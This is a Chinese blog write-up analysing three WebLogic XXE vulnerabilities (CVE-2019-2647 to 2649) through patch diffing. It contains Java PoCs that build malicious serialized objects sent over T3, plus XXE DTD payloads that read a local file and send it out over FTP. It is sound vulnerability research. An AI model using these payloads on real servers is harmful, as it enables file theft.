1. 程式人生 > >WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649

WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649

[] 正常的 endpoint 壓縮 bbc load 常見 stream 參考

@xxlegend在《Weblogic CVE-2019-2647等相關XXE漏洞分析》分析了其中的一個XXE漏洞點,並給出了PoC。剛入手java不久,本著學習的目的,自己嘗試分析了其他幾個點的XXE並構造了PoC。下面的分析我盡量描述自己思考以及PoC構造過程,新手真的會踩很多莫名其妙的坑。感謝在復現與分析過程中為我提供幫助的小夥伴@Badcode,沒有他的幫助我可能環境搭起來都會花費一大半時間。
補丁分析,找到漏洞點

根據JAVA常見XXE寫法與防禦方式(參考https://blog.spoock.com/2018/10/23/java-xxe/),通過對比補丁,發現新補丁以下四處進行了setFeature操作:

技術分享圖片

應該就是對應的四個CVE了,其中[email protected]大佬已經分析過了,這裏就不再分析了,下面主要是分析下其他三個點
分析環境


    Windows 10

    WebLogic 10.3.6.0

    Jdk160_29(WebLogic 10.3.6.0自帶的JDK)

WsrmServerPayloadContext 漏洞點分析

WsrmServerPayloadContext修復後的代碼如下:

package weblogic.wsee.reliability;import ...public class WsrmServerPayloadContext extends WsrmPayloadContext {
    public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
        ...
        }

        private EndpointReference readEndpt(ObjectInput var1, int var2) throws IOException, ClassNotFoundException {
            ...

            ByteArrayInputStream var15 = new ByteArrayInputStream(var3);

            try {
                DocumentBuilderFactory var7 = DocumentBuilderFactory.newInstance();

                try {
                    String var8 = "http://xml.org/sax/features/external-general-entities";
                    var7.setFeature(var8, false);
                    var8 = "http://xml.org/sax/features/external-parameter-entities";
                    var7.setFeature(var8, false);
                    var8 = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
                    var7.setFeature(var8, false);
                    var7.setXIncludeAware(false);
                    var7.setExpandEntityReferences(false);
                } catch (Exception var11) {
                    if (verbose) {
                        Verbose.log("Failed to set factory:" + var11);
                    }
                }

           ...
        }}

可以看到進行了setFeature操作防止xxe***,而未打補丁之前是沒有進行setFeature操作的

readExternal在反序列化對象時會被調用,與之對應的writeExternal在序列化對象時會被調用,看下writeExternal的邏輯:

技術分享圖片

var1就是this.formENdpt,註意var5.serialize可以傳入三種類型的對象,var1.getEndptElement()返回的是Element對象,先嘗試新建一個項目構造一下PoC:

結構如下
技術分享圖片

public class WeblogicXXE1 {
    public static void main(String[] args) throws IOException {
        Object instance = getXXEObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static class MyEndpointReference extends EndpointReference {
        @Override        public Element getEndptElement() {
            super.getEndptElement();
            Document doc = null;
            Element element = null;
            try {
                DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
                //從DOM工廠中獲得DOM解析器                DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();
                //創建文檔樹模型對象                doc = dbBuilder.parse("test.xml");
                element = doc.getDocumentElement();
            } catch (Exception e) {
                e.printStackTrace();
            }
            return element;
        }
    }

    public static Object getXXEObject() {
        EndpointReference fromEndpt = (EndpointReference) new MyEndpointReference();

        EndpointReference faultToEndpt = null;
        WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();
        try {

            Field f1 = wspc.getClass().getDeclaredField("fromEndpt");
            f1.setAccessible(true);
            f1.set(wspc, fromEndpt);

            Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");
            f2.setAccessible(true);
            f2.set(wspc, faultToEndpt);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return wspc;
    }}

test.xml內容如下,my.dtd暫時為空就行,先測試能否接收到請求:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://127.0.0.1:8000/my.dtd" [
        <!ELEMENT data (#PCDATA)>
        ]>
<data>4</data>

運行PoC,生成的反序列化數據xxe,使用十六進制查看器打開:
技術分享圖片

發現DOCTYPE無法被引入

我嘗試了下面幾種方法:
在上面說到var5.serialize可以傳入Document對象,測試了下,的確可以,但是如何使getEndptElement返回一個Document對象呢?

嘗試了自己創建一個EndpointReference類,修改getEndptElement返回對象,內容和原始內容一樣,但是在反序列化時找不到我創建的類,原因是自己建的類package與原來的不同,所以失敗了

嘗試像Python那樣動態替換一個類的方法,貌似Java好像做不到...

嘗試了一個暴力的方法,替換Jar包中的類。首先復制出Weblogic的modules文件夾與wlserver_10.3\server\lib文件夾到另一個目錄,將wlserver_10.3\server\lib\weblogic.jar解壓,將WsrmServerPayloadContext.class類刪除,重新壓縮為weblogic.Jar,然後新建一個項目,引入需要的Jar文件(modules和wlserver_10.3\server\lib中所有的Jar包),然後新建一個與WsrmServerPayloadContext.class同樣的包名,在其中新建WsrmServerPayloadContext.class類,復制原來的內容進行修改(修改只是為了生成能觸發xml解析的數據,對readExternal反序列化沒有影響)。

WsrmServerPayloadContext.class修改的內容如下:

![](https://s1.51cto.com/images/blog/201905/02/6cdba803bf9e417a0270da856092b43a.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)

經過測試第二種方式是可行的,但是好像過程略復雜。然後嘗試了下新建一個與原始WsrmServerPayloadContext.class類同樣的包名,然後進行修改,修改內容與第二種方式一樣

    ![](https://s1.51cto.com/images/blog/201905/02/80b12e9af8974c84650ae17cbf8db4f5.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)

測試這種方式也是可行的,比第二種方式操作起來方便些

構造新的PoC:

public class WeblogicXXE1 {
    public static void main(String[] args) throws IOException {
        Object instance = getXXEObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }

    public static Object getXXEObject() {
        EndpointReference fromEndpt = new EndpointReference();

        EndpointReference faultToEndpt = null;
        WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();
        try {

            Field f1 = wspc.getClass().getDeclaredField("fromEndpt");
            f1.setAccessible(true);
            f1.set(wspc, fromEndpt);

            Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");
            f2.setAccessible(true);
            f2.set(wspc, faultToEndpt);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return wspc;
    }}

查看下新生成的xxe十六進制:

技術分享圖片

DOCTYPE被寫入了

測試下,使用T3協議腳本向WebLogic 7001端口發送序列化數據:

技術分享圖片

技術分享圖片

漂亮,接收到請求了,接下來就是嘗試下到底能不能讀取到文件了

構造的test.xml如下:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
        <!ENTITY % file SYSTEM "file:///C:Users/dell/Desktop/test.txt">
        <!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/my.dtd">
        %dtd;
        %send;
        ]>
<ANY>xxe</ANY>

my.dtd如下(my.dtd在使用PoC生成反序列化數據的時候先清空,然後,不然在dbBuilder.parse時會報錯無法生成正常的反序列化數據,至於為什麽,只有自己測試下才會明白):

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM ‘ftp://127.0.0.1:2121/%file;‘>"
>
%all;

運行PoC生成反序列化數據,測下發現請求都接收不到了...,好吧,查看下十六進制:

技術分享圖片

%dtd;%send;居然不見了...,可能是因為DOM解析器的原因,my.dtd內容為空,數據沒有被引用。

嘗試debug看下:

技術分享圖片

可以看到%dtd;%send;確實是被處理掉了

測試下正常的加載外部數據,my.dtd改為如下:

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM ‘http://127.0.0.1:8000/gen.xml‘>"
>
%all;
gen.xml為:

<?xml version="1.0" encoding="UTF-8"?>

debug看下:
技術分享圖片

可以看到%dtd;%send;被my.dtd裏面的內容替換了。debug大致看了xml解析過程,中間有一個EntityScanner,會檢測xml中的ENTITY,並且會判斷是否加載了外部資源,如果加載了就外部資源加載進來,後面會將實體引用替換為實體申明的內容。也就是說,我們構造的反序列化數據中的xml數據,已經被解析過一次了,而需要的是沒有被解析過的數據,讓目標去解析。

所以我嘗試修改了十六進制如下,使得xml修改成沒有被解析的形式:

技術分享圖片

運行PoC測試下,

技術分享圖片

技術分享圖片

技術分享圖片

居然成功了,一開始以為反序列化生成的xml數據那塊還會進行校驗,不然反序列化不了,直接修改數據是不行的,沒想到直接修改就可以了
UnknownMsgHeader 漏洞點分析

與WsrmServerPayloadContext差不多,PoC構造也是新建包然後替換,就不詳細分析了,只說下類修改的地方與PoC構造

新建UnknownMsgHeader類,修改writeExternal

技術分享圖片

PoC如下:

public class WeblogicXXE2 {
    public static void main(String[] args) throws IOException {
        Object instance = getXXEObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }

    public static Object getXXEObject() {
        QName qname = new QName("a", "b", "c");
        Element xmlHeader = null;

        UnknownMsgHeader umh = new UnknownMsgHeader();
        try {
            Field f1 = umh.getClass().getDeclaredField("qname");
            f1.setAccessible(true);
            f1.set(umh, qname);

            Field f2 = umh.getClass().getDeclaredField("xmlHeader");
            f2.setAccessible(true);
            f2.set(umh, xmlHeader);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return umh;
    }}

運行PoC測試下(生成的步驟與第一個漏洞點一樣),使用T3協議腳本向WebLogic 7001端口發送序列化數據:
技術分享圖片

技術分享圖片

WsrmSequenceContext 漏洞點分析

這個類看似需要構造的東西挺多的,readExternal與writeExternal的邏輯也比前兩個復雜些,但是PoC構造也很容易

新建WsrmSequenceContext類,修改
技術分享圖片

PoC如下:

public class WeblogicXXE3 {
    public static void main(String[] args) throws IOException {
        Object instance = getXXEObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }

    public static Object getXXEObject() {

        EndpointReference acksTo = new EndpointReference();

        WsrmSequenceContext wsc = new WsrmSequenceContext();
        try {
            Field f1 = wsc.getClass().getDeclaredField("acksTo");
            f1.setAccessible(true);
            f1.set(wsc, acksTo);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return wsc;
    }}

測試下,使用T3協議腳本向WebLogic 7001端口發送序列化數據:

技術分享圖片

技術分享圖片

最後

好了,分析完成了。第一次分析Java的漏洞,還有很多不足的地方,但是分析的過程中也學到了很多,就算是一個看似很簡單的點,如果不熟悉Java的一特性,會花費較長的時間去折騰。所以,一步一步走吧,不要太急躁,還有很多東西要學。

WebLogic CVE-2019-2647、CVE-2019-2648、CVE-2019-2649